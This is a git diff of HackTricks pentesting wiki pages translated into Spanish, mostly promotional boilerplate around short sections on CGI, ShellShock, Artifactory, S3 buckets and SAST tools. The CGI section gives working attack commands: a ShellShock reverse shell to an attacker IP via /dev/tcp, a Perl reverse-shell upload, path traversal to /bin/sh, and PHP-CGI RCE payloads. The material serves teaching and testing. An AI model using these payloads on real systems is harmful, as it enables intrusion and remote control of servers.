Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
Encuentra vulnerabilidades y configuraciones incorrectas con [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
# Extensiones PHP ejecutables
@ -32,16 +33,17 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,29 +1,31 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
**Revisa esta publicación:** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,33 +1,35 @@
# Buckets
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
Consulta esta página si deseas aprender más sobre la enumeración y abuso de Buckets:
Revisa esta página si quieres aprender más sobre enumerar y abusar de Buckets:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,34 +1,35 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Información
Los **scripts CGI son scripts perl**, por lo tanto, si has comprometido un servidor que puede ejecutar scripts _**.cgi**_ puedes **subir un shell inverso en perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **cambiar la extensión** de **.pl** a **.cgi**, dar **permisos de ejecución** \(`chmod +x`\) y **acceder** al shell inverso **desde el navegador web** para ejecutarlo.
Para probar **vulnerabilidades CGI** se recomienda usar `nikto -C all` \(y todos los complementos\)
Los **scripts CGI son scripts de perl**, así que, si has comprometido un servidor que puede ejecutar _**.cgi**_ scripts, puedes **subir un shell reverso de perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **cambiar la extensión** de **.pl** a **.cgi**, dar **permisos de ejecución** \(`chmod +x`\) y **acceder** al shell reverso **desde el navegador web** para ejecutarlo.
Para probar **vulnerabilidades CGI** se recomienda usar `nikto -C all` \(y todos los plugins\)
# **ShellShock**
**ShellShock** es una **vulnerabilidad** que afecta al ampliamente utilizado shell de línea de comandos **Bash** en sistemas operativos basados en Unix. Se dirige a la capacidad de Bash de ejecutar comandos pasados por aplicaciones. La vulnerabilidad radica en la manipulación de **variables de entorno**, que son valores nombrados dinámicos que afectan cómo se ejecutan los procesos en una computadora. Los atacantes pueden explotar esto adjuntando **código malicioso** a las variables de entorno, que se ejecuta al recibir la variable. Esto permite a los atacantes potencialmente comprometer el sistema.
**ShellShock** es una **vulnerabilidad** que afecta al ampliamente utilizado **Bash** en sistemas operativos basados en Unix. Se dirige a la capacidad de Bash para ejecutar comandos pasados por aplicaciones. La vulnerabilidad radica en la manipulación de **variables de entorno**, que son valores nombrados dinámicamente que impactan cómo se ejecutan los procesos en una computadora. Los atacantes pueden explotar esto adjuntando **código malicioso** a las variables de entorno, que se ejecuta al recibir la variable. Esto permite a los atacantes comprometer potencialmente el sistema.
Explotando esta vulnerabilidad la **página podría arrojar un error**.
Explotando esta vulnerabilidad, la **página podría lanzar un error**.
Podrías **encontrar** esta vulnerabilidad notando que está utilizando una **versión antigua de Apache** y **cgi\_mod** \(con carpeta cgi\) o usando **nikto**.
Podrías **encontrar** esta vulnerabilidad notando que está usando una **versión antigua de Apache** y **cgi\_mod** \(con carpeta cgi\) o usando **nikto**.
## **Prueba**
La mayoría de las pruebas se basan en imprimir algo y esperar que esa cadena se devuelva en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.
La mayoría de las pruebas se basan en hacer eco de algo y esperar que esa cadena sea devuelta en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.
**Nmap**
```bash
@ -61,37 +62,37 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11
> run
```
# **Proxy \(MitM para solicitudes al servidor web\)**
# **Proxy \(MitM a solicitudes del servidor web\)**
CGI crea una variable de entorno para cada encabezado en la solicitud http. Por ejemplo: "host:web.com" se crea como "HTTP\_HOST"="web.com"
Dado que la variable HTTP\_PROXY podría ser utilizada por el servidor web. Intente enviar un **encabezado** que contenga: "**Proxy: &lt;IP\_atacante&gt;:&lt;PUERTO&gt;**" y si el servidor realiza alguna solicitud durante la sesión. Podrá capturar cada solicitud realizada por el servidor.
Como la variable HTTP\_PROXY podría ser utilizada por el servidor web. Intenta enviar un **encabezado** que contenga: "**Proxy: &lt;IP\_atacante&gt;:&lt;PUERTO&gt;**" y si el servidor realiza alguna solicitud durante la sesión. Podrás capturar cada solicitud realizada por el servidor.
# PHP Antiguo + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
# PHP antiguo + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
Básicamente, si cgi está activo y php es "antiguo" \(&lt;5.3.12 / &lt; 5.4.2\) se puede ejecutar código.
Para explotar esta vulnerabilidad, es necesario acceder a algún archivo PHP del servidor web sin enviar parámetros \(especialmente sin enviar el carácter "="\).
Luego, para probar esta vulnerabilidad, podría acceder por ejemplo a `/index.php?-s` \(note el `-s`\) y **el código fuente de la aplicación aparecerá en la respuesta**.
Básicamente, si cgi está activo y php es "antiguo" \(&lt;5.3.12 / &lt; 5.4.2\) puedes ejecutar código.
Para explotar esta vulnerabilidad necesitas acceder a algún archivo PHP del servidor web sin enviar parámetros \(especialmente sin enviar el carácter "="\).
Luego, para probar esta vulnerabilidad, podrías acceder por ejemplo a `/index.php?-s` \(nota el `-s`\) y **el código fuente de la aplicación aparecerá en la respuesta**.
Luego, para obtener **RCE** puede enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` y el **código PHP** a ejecutar en el **cuerpo de la solicitud.
Ejemplo:**
Luego, para obtener **RCE** puedes enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` y el **código PHP** que se ejecutará en el **cuerpo de la solicitud. Ejemplo:**
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Más información sobre la vulnerabilidad y posibles exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**Ejemplo de CTF Writeup**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
**Más información sobre la vulnerabilidad y posibles exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**Ejemplo de Writeup de CTF**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
# Herramientas de Revisión de Código Fuente / SAST
# Revisión de código fuente / Herramientas SAST
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
## Guía y Listas de herramientas
## Guía y listas de herramientas
* [**https://owasp.org/www-community/Source\_Code\_Analysis\_Tools**](https://owasp.org/www-community/Source\_Code\_Analysis\_Tools)
* [**https://github.com/analysis-tools-dev/static-analysis**](https://github.com/analysis-tools-dev/static-analysis)
## Herramientas Multi-Lenguaje
## Herramientas Multilenguaje
### [Naxus - AI-Gents](https://www.naxusai.com/)
@ -29,9 +30,9 @@ Hay un **paquete gratuito para revisar PRs**.
Es una **herramienta de código abierto**.
#### Lenguajes Soportados
#### Lenguajes soportados
| Categoría | Lenguajes |
| Categoría | Lenguajes |
| ------------ | ----------------------------------------------------------------------------------------------------- |
| GA | C# · Go · Java · JavaScript · JSX · JSON · PHP · Python · Ruby · Scala · Terraform · TypeScript · TSX |
| Beta | Kotlin · Rust |
@ -50,13 +51,13 @@ semgrep scan --config auto
```
{% endcode %}
